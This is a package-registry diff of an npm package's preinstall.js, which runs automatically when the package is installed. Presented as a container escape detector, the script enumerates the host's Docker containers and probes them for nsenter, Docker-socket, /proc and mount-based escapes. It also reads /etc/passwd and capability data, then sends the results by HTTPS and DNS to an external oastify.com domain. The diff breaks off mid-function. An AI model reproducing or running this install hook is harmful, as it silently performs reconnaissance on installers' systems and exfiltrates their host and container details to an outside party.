rank4222wun 1.0.33 → 1.0.35
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +879 -345
- package/rank4222wun-1.0.35.tgz +0 -0
- package/rank4222wun-1.0.32.tgz +0 -0
- package/rank4222wun-1.0.33.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,403 +1,937 @@
|
|
|
1
|
-
// container-escape-
|
|
1
|
+
// multi-container-escape-detector.js
|
|
2
2
|
const { exec, spawn } = require('child_process');
|
|
3
3
|
const os = require('os');
|
|
4
4
|
const fs = require('fs');
|
|
5
5
|
const path = require('path');
|
|
6
|
+
const https = require('https');
|
|
7
|
+
const dns = require('dns');
|
|
8
|
+
const crypto = require('crypto');
|
|
6
9
|
|
|
7
|
-
console.log(
|
|
10
|
+
console.log(`
|
|
11
|
+
╔══════════════════════════════════════════════════════════╗
|
|
12
|
+
║ MULTI-CONTAINER ESCAPE DETECTOR v3.0 ║
|
|
13
|
+
║ Advanced Container Security Assessment ║
|
|
14
|
+
╚══════════════════════════════════════════════════════════╝
|
|
15
|
+
`);
|
|
8
16
|
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
//
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
17
|
+
// ===================== CONFIGURATION =====================
|
|
18
|
+
const CONFIG = {
|
|
19
|
+
// OAST Configuration
|
|
20
|
+
OAST: {
|
|
21
|
+
domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
22
|
+
httpsPort: 443,
|
|
23
|
+
httpPort: 80,
|
|
24
|
+
apiKey: crypto.randomBytes(16).toString('hex'),
|
|
25
|
+
sessionId: `mced-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
|
|
18
26
|
},
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
27
|
+
|
|
28
|
+
// Scanning Configuration
|
|
29
|
+
SCAN: {
|
|
30
|
+
maxContainers: 50,
|
|
31
|
+
parallelScans: 5,
|
|
32
|
+
timeoutPerContainer: 30000,
|
|
33
|
+
deepScan: true,
|
|
34
|
+
autoExploit: false,
|
|
35
|
+
stealthMode: false
|
|
28
36
|
},
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
37
|
+
|
|
38
|
+
// Detection Methods
|
|
39
|
+
METHODS: {
|
|
40
|
+
nsenter: true,
|
|
41
|
+
dockerSocket: true,
|
|
42
|
+
procAccess: true,
|
|
43
|
+
kernelExploits: true,
|
|
44
|
+
hostMounts: true,
|
|
45
|
+
capabilities: true,
|
|
46
|
+
networkEscape: true
|
|
36
47
|
},
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
48
|
+
|
|
49
|
+
// Output Configuration
|
|
50
|
+
OUTPUT: {
|
|
51
|
+
saveReports: true,
|
|
52
|
+
reportFormat: 'json', // json, html, txt
|
|
53
|
+
verbose: true,
|
|
54
|
+
colorOutput: true
|
|
42
55
|
}
|
|
43
56
|
};
|
|
44
57
|
|
|
45
|
-
// =====================
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
58
|
+
// ===================== GLOBAL STATE =====================
|
|
59
|
+
const STATE = {
|
|
60
|
+
startTime: Date.now(),
|
|
61
|
+
containers: {},
|
|
62
|
+
hostInfo: null,
|
|
63
|
+
networkMap: {},
|
|
64
|
+
vulnerabilities: {},
|
|
65
|
+
oastInteractions: [],
|
|
66
|
+
statistics: {
|
|
67
|
+
totalContainers: 0,
|
|
68
|
+
scannedContainers: 0,
|
|
69
|
+
escapedContainers: 0,
|
|
70
|
+
vulnerableContainers: 0,
|
|
71
|
+
criticalEscapes: 0
|
|
72
|
+
}
|
|
73
|
+
};
|
|
74
|
+
|
|
75
|
+
// ===================== UTILITY FUNCTIONS =====================
|
|
76
|
+
class ContainerScanner {
|
|
77
|
+
constructor(containerId) {
|
|
78
|
+
this.id = containerId;
|
|
79
|
+
this.shortId = containerId.substring(0, 12);
|
|
80
|
+
this.info = {
|
|
81
|
+
id: containerId,
|
|
82
|
+
name: '',
|
|
83
|
+
image: '',
|
|
84
|
+
status: '',
|
|
85
|
+
escapeStatus: 'unknown',
|
|
86
|
+
confidence: 0,
|
|
87
|
+
evidence: [],
|
|
88
|
+
methods: [],
|
|
89
|
+
risk: 'low',
|
|
90
|
+
network: {},
|
|
91
|
+
mounts: [],
|
|
92
|
+
capabilities: [],
|
|
93
|
+
vulnerabilities: []
|
|
94
|
+
};
|
|
95
|
+
this.rawData = {};
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
async scan() {
|
|
99
|
+
try {
|
|
100
|
+
console.log(`\n🔍 Scanning container: ${this.shortId}`);
|
|
101
|
+
|
|
102
|
+
// Collect basic info
|
|
103
|
+
await this.collectBasicInfo();
|
|
104
|
+
|
|
105
|
+
// Perform escape checks
|
|
106
|
+
await this.performEscapeChecks();
|
|
107
|
+
|
|
108
|
+
// Analyze results
|
|
109
|
+
await this.analyzeResults();
|
|
110
|
+
|
|
111
|
+
// Report to OAST
|
|
112
|
+
await this.reportToOAST();
|
|
113
|
+
|
|
114
|
+
// Update statistics
|
|
115
|
+
this.updateStatistics();
|
|
116
|
+
|
|
117
|
+
return this.info;
|
|
118
|
+
} catch (error) {
|
|
119
|
+
console.error(`❌ Error scanning container ${this.shortId}:`, error.message);
|
|
120
|
+
this.info.escapeStatus = 'scan_failed';
|
|
121
|
+
return this.info;
|
|
72
122
|
}
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
let completed = 0;
|
|
76
|
-
checks.forEach(check => {
|
|
77
|
-
exec(check.command, { timeout: 3000 }, (err, stdout) => {
|
|
78
|
-
if (!err) check.handler(stdout);
|
|
79
|
-
completed++;
|
|
80
|
-
if (completed === checks.length) {
|
|
81
|
-
setTimeout(checkEscapeMethods, 2000);
|
|
82
|
-
}
|
|
83
|
-
});
|
|
84
|
-
});
|
|
85
|
-
}
|
|
123
|
+
}
|
|
86
124
|
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
125
|
+
async collectBasicInfo() {
|
|
126
|
+
const commands = {
|
|
127
|
+
name: `docker inspect ${this.id} --format '{{.Name}}'`,
|
|
128
|
+
image: `docker inspect ${this.id} --format '{{.Config.Image}}'`,
|
|
129
|
+
status: `docker inspect ${this.id} --format '{{.State.Status}}'`,
|
|
130
|
+
ip: `docker inspect ${this.id} --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'`,
|
|
131
|
+
ports: `docker inspect ${this.id} --format '{{json .NetworkSettings.Ports}}'`,
|
|
132
|
+
mounts: `docker inspect ${this.id} --format '{{json .Mounts}}'`,
|
|
133
|
+
privileged: `docker inspect ${this.id} --format '{{.HostConfig.Privileged}}'`,
|
|
134
|
+
capabilities: `docker inspect ${this.id} --format '{{json .HostConfig.CapAdd}}'`
|
|
135
|
+
};
|
|
136
|
+
|
|
137
|
+
for (const [key, cmd] of Object.entries(commands)) {
|
|
138
|
+
try {
|
|
139
|
+
const result = await this.executeCommand(cmd);
|
|
140
|
+
this.rawData[key] = result;
|
|
141
|
+
|
|
142
|
+
// Parse specific data
|
|
143
|
+
switch(key) {
|
|
144
|
+
case 'name':
|
|
145
|
+
this.info.name = result.replace(/^\//, '');
|
|
146
|
+
break;
|
|
147
|
+
case 'image':
|
|
148
|
+
this.info.image = result;
|
|
149
|
+
break;
|
|
150
|
+
case 'status':
|
|
151
|
+
this.info.status = result;
|
|
152
|
+
break;
|
|
153
|
+
case 'ip':
|
|
154
|
+
this.info.network.ip = result;
|
|
155
|
+
break;
|
|
156
|
+
case 'mounts':
|
|
157
|
+
try {
|
|
158
|
+
this.info.mounts = JSON.parse(result || '[]');
|
|
159
|
+
} catch (e) {}
|
|
160
|
+
break;
|
|
161
|
+
case 'capabilities':
|
|
162
|
+
try {
|
|
163
|
+
this.info.capabilities = JSON.parse(result || '[]');
|
|
164
|
+
} catch (e) {}
|
|
165
|
+
break;
|
|
118
166
|
}
|
|
119
|
-
|
|
167
|
+
} catch (e) {
|
|
168
|
+
this.rawData[key] = null;
|
|
120
169
|
}
|
|
121
|
-
}
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
170
|
+
}
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
async performEscapeChecks() {
|
|
174
|
+
const checks = [];
|
|
175
|
+
|
|
176
|
+
if (CONFIG.METHODS.nsenter) {
|
|
177
|
+
checks.push(this.checkNsenterEscape());
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
if (CONFIG.METHODS.dockerSocket) {
|
|
181
|
+
checks.push(this.checkDockerSocketEscape());
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
if (CONFIG.METHODS.procAccess) {
|
|
185
|
+
checks.push(this.checkProcEscape());
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
if (CONFIG.METHODS.hostMounts) {
|
|
189
|
+
checks.push(this.checkMountEscape());
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
if (CONFIG.METHODS.kernelExploits) {
|
|
193
|
+
checks.push(this.checkKernelVulnerabilities());
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
if (CONFIG.METHODS.capabilities) {
|
|
197
|
+
checks.push(this.checkDangerousCapabilities());
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
if (CONFIG.METHODS.networkEscape) {
|
|
201
|
+
checks.push(this.checkNetworkEscape());
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
await Promise.all(checks);
|
|
205
|
+
}
|
|
206
|
+
|
|
207
|
+
async checkNsenterEscape() {
|
|
208
|
+
const command = `docker exec ${this.id} sh -c '
|
|
209
|
+
which nsenter >/dev/null 2>&1 &&
|
|
210
|
+
nsenter --target 1 --mount -- sh -c "hostname" 2>/dev/null | grep -v "$(hostname)" ||
|
|
211
|
+
echo "FAILED"
|
|
212
|
+
'`;
|
|
213
|
+
|
|
214
|
+
try {
|
|
215
|
+
const result = await this.executeCommand(command);
|
|
216
|
+
if (!result.includes('FAILED') && result.trim()) {
|
|
217
|
+
this.info.methods.push('nsenter');
|
|
218
|
+
this.info.evidence.push(`Nsenter escape possible - Hostname: ${result.trim()}`);
|
|
219
|
+
this.sendOAST('nsenter_escape', { container: this.shortId, result: result.trim() });
|
|
137
220
|
}
|
|
138
|
-
}
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
221
|
+
} catch (e) {}
|
|
222
|
+
}
|
|
223
|
+
|
|
224
|
+
async checkDockerSocketEscape() {
|
|
225
|
+
const commands = [
|
|
226
|
+
// Check if docker.sock is mounted
|
|
227
|
+
`docker exec ${this.id} ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"`,
|
|
228
|
+
// Try to access Docker API
|
|
229
|
+
`docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'`
|
|
230
|
+
];
|
|
231
|
+
|
|
232
|
+
try {
|
|
233
|
+
const [socketCheck, apiCheck] = await Promise.all(
|
|
234
|
+
commands.map(cmd => this.executeCommand(cmd))
|
|
235
|
+
);
|
|
236
|
+
|
|
237
|
+
if (!socketCheck.includes('NOT_FOUND') && apiCheck.includes('ACCESSIBLE')) {
|
|
238
|
+
this.info.methods.push('docker_socket');
|
|
239
|
+
this.info.evidence.push('Docker socket accessible and writable');
|
|
240
|
+
|
|
241
|
+
// Try to list other containers
|
|
242
|
+
const listCmd = `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l'`;
|
|
243
|
+
const containerCount = await this.executeCommand(listCmd);
|
|
244
|
+
|
|
245
|
+
if (parseInt(containerCount) > 1) {
|
|
246
|
+
this.info.evidence.push(`Can see ${containerCount.trim()} containers on host`);
|
|
247
|
+
this.sendOAST('docker_socket_escape', {
|
|
248
|
+
container: this.shortId,
|
|
249
|
+
accessible: true,
|
|
250
|
+
containerCount: containerCount.trim()
|
|
251
|
+
});
|
|
152
252
|
}
|
|
153
|
-
return false;
|
|
154
253
|
}
|
|
155
|
-
}
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
254
|
+
} catch (e) {}
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
async checkProcEscape() {
|
|
258
|
+
const command = `docker exec ${this.id} sh -c '
|
|
259
|
+
cat /proc/1/status 2>/dev/null | head -5 &&
|
|
260
|
+
cat /proc/1/cmdline 2>/dev/null | tr "\\\\0" " " | head -c 100 ||
|
|
261
|
+
echo "NO_ACCESS"
|
|
262
|
+
'`;
|
|
263
|
+
|
|
264
|
+
try {
|
|
265
|
+
const result = await this.executeCommand(command);
|
|
266
|
+
if (!result.includes('NO_ACCESS') && result.includes('State:')) {
|
|
267
|
+
this.info.methods.push('proc_access');
|
|
268
|
+
this.info.evidence.push('Can access host init process via /proc/1/');
|
|
269
|
+
this.sendOAST('proc_escape', { container: this.shortId });
|
|
171
270
|
}
|
|
172
|
-
}
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
271
|
+
} catch (e) {}
|
|
272
|
+
}
|
|
273
|
+
|
|
274
|
+
async checkMountEscape() {
|
|
275
|
+
const command = `docker exec ${this.id} sh -c '
|
|
276
|
+
mount 2>/dev/null | grep -E "(/proc|/sys|/dev|overlay)" | head -10 ||
|
|
277
|
+
cat /proc/mounts 2>/dev/null | head -20
|
|
278
|
+
'`;
|
|
279
|
+
|
|
280
|
+
try {
|
|
281
|
+
const result = await this.executeCommand(command);
|
|
282
|
+
if (result) {
|
|
283
|
+
const lines = result.split('\n');
|
|
284
|
+
const dangerousMounts = lines.filter(line =>
|
|
285
|
+
line.includes('/proc') ||
|
|
286
|
+
line.includes('/sys') ||
|
|
287
|
+
line.includes('/dev') ||
|
|
288
|
+
line.includes('overlay')
|
|
289
|
+
);
|
|
184
290
|
|
|
185
|
-
if (
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
} else {
|
|
189
|
-
console.log(`❌ ${method.name}: فشل أو غير متاح`);
|
|
190
|
-
}
|
|
291
|
+
if (dangerousMounts.length > 0) {
|
|
292
|
+
this.info.methods.push('host_mounts');
|
|
293
|
+
this.info.evidence.push(`${dangerousMounts.length} dangerous mount points found`);
|
|
191
294
|
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
295
|
+
// Check if we can access host files through mounts
|
|
296
|
+
const testCmd = `docker exec ${this.id} sh -c '
|
|
297
|
+
ls -la /home 2>/dev/null | head -3 ||
|
|
298
|
+
cat /etc/passwd 2>/dev/null | head -3 ||
|
|
299
|
+
echo "NO_HOST_ACCESS"
|
|
300
|
+
'`;
|
|
301
|
+
|
|
302
|
+
const accessResult = await this.executeCommand(testCmd);
|
|
303
|
+
if (!accessResult.includes('NO_HOST_ACCESS')) {
|
|
304
|
+
this.info.evidence.push('Can access host files through mounts');
|
|
305
|
+
this.sendOAST('mount_escape', {
|
|
306
|
+
container: this.shortId,
|
|
307
|
+
mounts: dangerousMounts.slice(0, 3),
|
|
308
|
+
hostAccess: true
|
|
309
|
+
});
|
|
195
310
|
}
|
|
196
311
|
}
|
|
197
|
-
}
|
|
198
|
-
})
|
|
199
|
-
}
|
|
200
|
-
}
|
|
312
|
+
}
|
|
313
|
+
} catch (e) {}
|
|
314
|
+
}
|
|
201
315
|
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
command: 'ps aux 2>/dev/null | head -15',
|
|
215
|
-
storeIn: 'hostSystem.processes'
|
|
216
|
-
},
|
|
217
|
-
{
|
|
218
|
-
name: 'host_network',
|
|
219
|
-
command: 'ip addr show 2>/dev/null | head -30',
|
|
220
|
-
storeIn: 'hostSystem.network.interface'
|
|
221
|
-
},
|
|
222
|
-
{
|
|
223
|
-
name: 'host_kernel',
|
|
224
|
-
command: 'uname -r',
|
|
225
|
-
storeIn: 'hostSystem.kernel'
|
|
226
|
-
},
|
|
227
|
-
{
|
|
228
|
-
name: 'docker_on_host',
|
|
229
|
-
command: 'docker ps -a 2>/dev/null | wc -l',
|
|
230
|
-
storeIn: 'hostSystem.dockerInfo'
|
|
231
|
-
},
|
|
232
|
-
{
|
|
233
|
-
name: 'host_files_access',
|
|
234
|
-
command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || echo "NO_ACCESS"',
|
|
235
|
-
storeIn: 'escapeEvidence.filesAccessed'
|
|
236
|
-
}
|
|
237
|
-
];
|
|
238
|
-
|
|
239
|
-
let evidenceCollected = 0;
|
|
240
|
-
evidenceCommands.forEach(evidence => {
|
|
241
|
-
exec(evidence.command, { timeout: 5000 }, (err, stdout) => {
|
|
242
|
-
if (!err && stdout && !stdout.includes('NO_ACCESS')) {
|
|
243
|
-
// تحديد المسار للخزن
|
|
244
|
-
const path = evidence.storeIn.split('.');
|
|
245
|
-
let target = escapeConfirmation;
|
|
316
|
+
async checkKernelVulnerabilities() {
|
|
317
|
+
const command = `docker exec ${this.id} sh -c '
|
|
318
|
+
uname -r &&
|
|
319
|
+
grep -i "dirtypipe\\|dirtycow\\|shocker\\|overlayfs" /etc/os-release 2>/dev/null ||
|
|
320
|
+
echo "NO_INFO"
|
|
321
|
+
'`;
|
|
322
|
+
|
|
323
|
+
try {
|
|
324
|
+
const result = await this.executeCommand(command);
|
|
325
|
+
if (!result.includes('NO_INFO')) {
|
|
326
|
+
const lines = result.split('\n');
|
|
327
|
+
const kernel = lines[0]?.trim();
|
|
246
328
|
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
329
|
+
if (kernel) {
|
|
330
|
+
this.info.vulnerabilities.push(`Kernel: ${kernel}`);
|
|
331
|
+
|
|
332
|
+
// Check for known vulnerable kernels
|
|
333
|
+
const vulnerableKernels = {
|
|
334
|
+
'DirtyPipe': /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./,
|
|
335
|
+
'DirtyCow': /^(2\.6\.|3\.|4\.)/,
|
|
336
|
+
'Shocker': /^(3\.8|3\.9|3\.10)\./
|
|
337
|
+
};
|
|
338
|
+
|
|
339
|
+
for (const [vuln, pattern] of Object.entries(vulnerableKernels)) {
|
|
340
|
+
if (pattern.test(kernel)) {
|
|
341
|
+
this.info.vulnerabilities.push(`${vuln} vulnerability detected`);
|
|
342
|
+
this.sendOAST('kernel_vuln', {
|
|
343
|
+
container: this.shortId,
|
|
344
|
+
kernel: kernel,
|
|
345
|
+
vulnerability: vuln
|
|
346
|
+
});
|
|
347
|
+
break;
|
|
348
|
+
}
|
|
349
|
+
}
|
|
250
350
|
}
|
|
351
|
+
}
|
|
352
|
+
} catch (e) {}
|
|
353
|
+
}
|
|
354
|
+
|
|
355
|
+
async checkDangerousCapabilities() {
|
|
356
|
+
const command = `docker exec ${this.id} sh -c '
|
|
357
|
+
capsh --print 2>/dev/null | grep -E "(sys_admin|sys_module|sys_ptrace|dac_override)" ||
|
|
358
|
+
echo "NO_CAPSH"
|
|
359
|
+
'`;
|
|
360
|
+
|
|
361
|
+
try {
|
|
362
|
+
const result = await this.executeCommand(command);
|
|
363
|
+
if (!result.includes('NO_CAPSH') && result.trim()) {
|
|
364
|
+
const dangerousCaps = [
|
|
365
|
+
'CAP_SYS_ADMIN', 'CAP_SYS_MODULE', 'CAP_SYS_PTRACE',
|
|
366
|
+
'CAP_DAC_OVERRIDE', 'CAP_DAC_READ_SEARCH'
|
|
367
|
+
];
|
|
251
368
|
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
369
|
+
const foundCaps = dangerousCaps.filter(cap => result.includes(cap));
|
|
370
|
+
if (foundCaps.length > 0) {
|
|
371
|
+
this.info.methods.push('capabilities');
|
|
372
|
+
this.info.evidence.push(`Dangerous capabilities: ${foundCaps.join(', ')}`);
|
|
373
|
+
this.sendOAST('dangerous_caps', {
|
|
374
|
+
container: this.shortId,
|
|
375
|
+
capabilities: foundCaps
|
|
376
|
+
});
|
|
256
377
|
}
|
|
257
|
-
|
|
258
|
-
console.log(`✅ ${evidence.name}: تم جمعه`);
|
|
259
378
|
}
|
|
379
|
+
} catch (e) {}
|
|
380
|
+
}
|
|
381
|
+
|
|
382
|
+
async checkNetworkEscape() {
|
|
383
|
+
const commands = [
|
|
384
|
+
`docker exec ${this.id} ip route show 2>/dev/null | head -5`,
|
|
385
|
+
`docker exec ${this.id} netstat -tunap 2>/dev/null | head -10`,
|
|
386
|
+
`docker exec ${this.id} iptables -L -n 2>/dev/null | head -20`
|
|
387
|
+
];
|
|
388
|
+
|
|
389
|
+
try {
|
|
390
|
+
const results = await Promise.all(
|
|
391
|
+
commands.map(cmd => this.executeCommand(cmd).catch(() => ''))
|
|
392
|
+
);
|
|
260
393
|
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
394
|
+
if (results.some(r => r.trim())) {
|
|
395
|
+
this.info.methods.push('network_escape');
|
|
396
|
+
this.info.network.details = {
|
|
397
|
+
routes: results[0]?.split('\n').slice(0, 3) || [],
|
|
398
|
+
connections: results[1]?.split('\n').slice(0, 5) || [],
|
|
399
|
+
iptables: results[2]?.split('\n').slice(0, 10) || []
|
|
400
|
+
};
|
|
264
401
|
}
|
|
402
|
+
} catch (e) {}
|
|
403
|
+
}
|
|
404
|
+
|
|
405
|
+
async analyzeResults() {
|
|
406
|
+
// Calculate confidence score
|
|
407
|
+
let score = 0;
|
|
408
|
+
|
|
409
|
+
// Method points
|
|
410
|
+
const methodPoints = {
|
|
411
|
+
nsenter: 25,
|
|
412
|
+
docker_socket: 30,
|
|
413
|
+
proc_access: 20,
|
|
414
|
+
host_mounts: 15,
|
|
415
|
+
capabilities: 10,
|
|
416
|
+
network_escape: 10
|
|
417
|
+
};
|
|
418
|
+
|
|
419
|
+
this.info.methods.forEach(method => {
|
|
420
|
+
score += methodPoints[method] || 0;
|
|
265
421
|
});
|
|
266
|
-
|
|
267
|
-
|
|
422
|
+
|
|
423
|
+
// Vulnerability points
|
|
424
|
+
if (this.info.vulnerabilities.length > 0) {
|
|
425
|
+
score += this.info.vulnerabilities.length * 10;
|
|
426
|
+
}
|
|
427
|
+
|
|
428
|
+
// Evidence points
|
|
429
|
+
score += Math.min(this.info.evidence.length * 5, 25);
|
|
430
|
+
|
|
431
|
+
// Capabilities points
|
|
432
|
+
if (this.info.capabilities.includes('CAP_SYS_ADMIN')) {
|
|
433
|
+
score += 20;
|
|
434
|
+
}
|
|
435
|
+
|
|
436
|
+
// Determine escape status
|
|
437
|
+
this.info.confidence = Math.min(100, score);
|
|
438
|
+
|
|
439
|
+
if (this.info.confidence >= 70) {
|
|
440
|
+
this.info.escapeStatus = 'confirmed';
|
|
441
|
+
this.info.risk = 'critical';
|
|
442
|
+
} else if (this.info.confidence >= 40) {
|
|
443
|
+
this.info.escapeStatus = 'probable';
|
|
444
|
+
this.info.risk = 'high';
|
|
445
|
+
} else if (this.info.confidence >= 20) {
|
|
446
|
+
this.info.escapeStatus = 'possible';
|
|
447
|
+
this.info.risk = 'medium';
|
|
448
|
+
} else {
|
|
449
|
+
this.info.escapeStatus = 'unlikely';
|
|
450
|
+
this.info.risk = 'low';
|
|
451
|
+
}
|
|
452
|
+
}
|
|
268
453
|
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
454
|
+
async reportToOAST() {
|
|
455
|
+
if (this.info.escapeStatus !== 'unlikely' && this.info.confidence > 10) {
|
|
456
|
+
const payload = {
|
|
457
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
458
|
+
timestamp: new Date().toISOString(),
|
|
459
|
+
container: {
|
|
460
|
+
id: this.shortId,
|
|
461
|
+
name: this.info.name,
|
|
462
|
+
image: this.info.image
|
|
463
|
+
},
|
|
464
|
+
escape: {
|
|
465
|
+
status: this.info.escapeStatus,
|
|
466
|
+
confidence: this.info.confidence,
|
|
467
|
+
risk: this.info.risk,
|
|
468
|
+
methods: this.info.methods,
|
|
469
|
+
evidence: this.info.evidence.slice(0, 5)
|
|
470
|
+
},
|
|
471
|
+
vulnerabilities: this.info.vulnerabilities
|
|
472
|
+
};
|
|
473
|
+
|
|
474
|
+
this.sendOAST('container_escape_report', payload);
|
|
475
|
+
}
|
|
280
476
|
}
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
477
|
+
|
|
478
|
+
sendOAST(type, data) {
|
|
479
|
+
const interactionId = `interaction-${Date.now()}-${crypto.randomBytes(3).toString('hex')}`;
|
|
480
|
+
const interaction = {
|
|
481
|
+
id: interactionId,
|
|
482
|
+
type: type,
|
|
483
|
+
timestamp: new Date().toISOString(),
|
|
484
|
+
container: this.shortId,
|
|
485
|
+
data: data
|
|
486
|
+
};
|
|
487
|
+
|
|
488
|
+
STATE.oastInteractions.push(interaction);
|
|
489
|
+
|
|
490
|
+
// Send via HTTPS
|
|
491
|
+
const req = https.request({
|
|
492
|
+
hostname: CONFIG.OAST.domain,
|
|
493
|
+
port: CONFIG.OAST.httpsPort,
|
|
494
|
+
path: '/multi-container-escape',
|
|
495
|
+
method: 'POST',
|
|
496
|
+
headers: {
|
|
497
|
+
'Content-Type': 'application/json',
|
|
498
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
499
|
+
'X-Container-ID': this.shortId,
|
|
500
|
+
'X-API-Key': CONFIG.OAST.apiKey,
|
|
501
|
+
'User-Agent': 'MultiContainerEscapeDetector/3.0'
|
|
502
|
+
}
|
|
503
|
+
}, (res) => {
|
|
504
|
+
let body = '';
|
|
505
|
+
res.on('data', chunk => body += chunk);
|
|
506
|
+
res.on('end', () => {
|
|
507
|
+
if (CONFIG.OUTPUT.verbose) {
|
|
508
|
+
console.log(`📡 OAST report sent for ${this.shortId} (${res.statusCode})`);
|
|
509
|
+
}
|
|
510
|
+
});
|
|
511
|
+
});
|
|
512
|
+
|
|
513
|
+
req.on('error', () => {});
|
|
514
|
+
req.write(JSON.stringify({
|
|
515
|
+
interactionId: interactionId,
|
|
516
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
517
|
+
containerId: this.shortId,
|
|
518
|
+
data: data
|
|
519
|
+
}));
|
|
520
|
+
req.end();
|
|
521
|
+
|
|
522
|
+
// Also send DNS notification for critical escapes
|
|
523
|
+
if (this.info.risk === 'critical') {
|
|
524
|
+
const dnsName = `${this.shortId}-critical.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
|
|
525
|
+
dns.lookup(dnsName, () => {});
|
|
526
|
+
}
|
|
285
527
|
}
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
528
|
+
|
|
529
|
+
executeCommand(command) {
|
|
530
|
+
return new Promise((resolve, reject) => {
|
|
531
|
+
exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
|
|
532
|
+
if (error) {
|
|
533
|
+
reject(error);
|
|
534
|
+
} else {
|
|
535
|
+
resolve(stdout.toString().trim());
|
|
536
|
+
}
|
|
537
|
+
});
|
|
538
